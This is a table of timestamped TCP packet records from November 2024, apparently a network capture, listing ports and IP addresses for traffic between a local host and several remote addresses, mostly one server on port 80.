Nov 15, 2024 09:55:40.934521914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.934545040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.934571028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.941260099 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.941675901 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.941953897 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.941966057 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.941978931 CET	49909	443	192.168.2.7	40.126.32.133
Nov 15, 2024 09:55:40.941983938 CET	443	49909	40.126.32.133	192.168.2.7
Nov 15, 2024 09:55:40.963023901 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.963059902 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:40.963130951 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.963804960 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.963854074 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:40.963912964 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.964158058 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.964180946 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:40.964396954 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:40.964406967 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:40.971497059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971539974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971550941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971564054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971581936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971581936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971595049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971623898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971636057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971651077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971662045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971678972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971690893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971693993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971704960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971714973 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971729040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971741915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971741915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971771955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971792936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971805096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971816063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971827030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971837997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971847057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971851110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971863985 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971879005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971893072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.971916914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971929073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971946001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971963882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971976042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971981049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.971997023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972011089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972021103 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972057104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972101927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972115040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972125053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972141027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972145081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972203016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972204924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972204924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972229004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972242117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972244024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972251892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972260952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972265959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972276926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972290993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972305059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972306967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972317934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972323895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972341061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972352028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972352028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972364902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972372055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972378016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972383976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972404003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972409964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972429991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972450972 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972476006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972518921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972529888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972542048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972553015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972553968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972579002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972593069 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972604990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972618103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972629070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972651005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972654104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972667933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972673893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972685099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972688913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972709894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972712994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972723007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972734928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972752094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972774982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972799063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972812891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972848892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972856045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972898006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972925901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972945929 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972958088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972968102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.972971916 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972991943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.972996950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973009109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973015070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973031998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973042965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973042965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973053932 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973077059 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973090887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973098040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973140955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973145008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973155975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973184109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973247051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973258972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973272085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973277092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973284006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973297119 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973299026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973316908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973330021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973330975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973356009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973382950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973407984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973418951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973434925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973449945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973454952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973469019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973480940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973507881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973526001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973537922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973555088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973562002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973568916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973581076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973582029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973592997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973599911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973624945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973680019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973690987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973702908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.973736048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973745108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:40.973748922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:40.974514961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.008641958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.008656979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.008708954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.008733034 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.011414051 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.012079954 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.012099981 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.012588024 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.012594938 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.016113043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.016140938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.016171932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.016187906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.028146029 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.028709888 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.028732061 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.029196024 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.029201984 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.053298950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053319931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053339958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053353071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053375006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.053395033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053405046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.053407907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053421021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053421974 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.053433895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.053457022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.053482056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090507984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090544939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090553045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090554953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090559006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090572119 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090584040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090595007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090600014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090607882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090626001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090629101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090632915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090646029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090676069 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090683937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090694904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090697050 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090707064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090722084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090729952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090734005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090761900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090766907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090776920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090776920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090790033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090801001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090811014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090816975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090816975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090832949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090854883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090907097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090914011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090924978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090936899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090941906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090950012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090962887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090977907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.090989113 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.090992928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091005087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091007948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091016054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091027975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091032028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091047049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091053963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091062069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091082096 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091103077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091120958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091131926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091139078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091149092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091161013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091164112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091193914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091218948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091229916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091249943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091253996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091263056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091276884 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091286898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091293097 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091305017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091324091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091350079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091351032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091363907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091376066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091398954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091414928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091420889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091423988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091445923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091458082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091460943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091473103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091481924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091506958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091623068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091634035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091646910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091660976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091679096 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091687918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091698885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091710091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091722012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091734886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091748953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091778040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091789007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091799021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091810942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091821909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091823101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091840029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091852903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091881990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091895103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091906071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091928005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091950893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.091967106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091978073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.091989040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092010975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092031956 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092053890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092065096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092076063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092099905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092123032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092145920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092158079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092169046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092179060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092190027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092205048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092215061 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092236996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092279911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092291117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092300892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092313051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092314959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092339993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092360973 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092370033 CET	80	49872	185.215.113.206	192.168.2.7
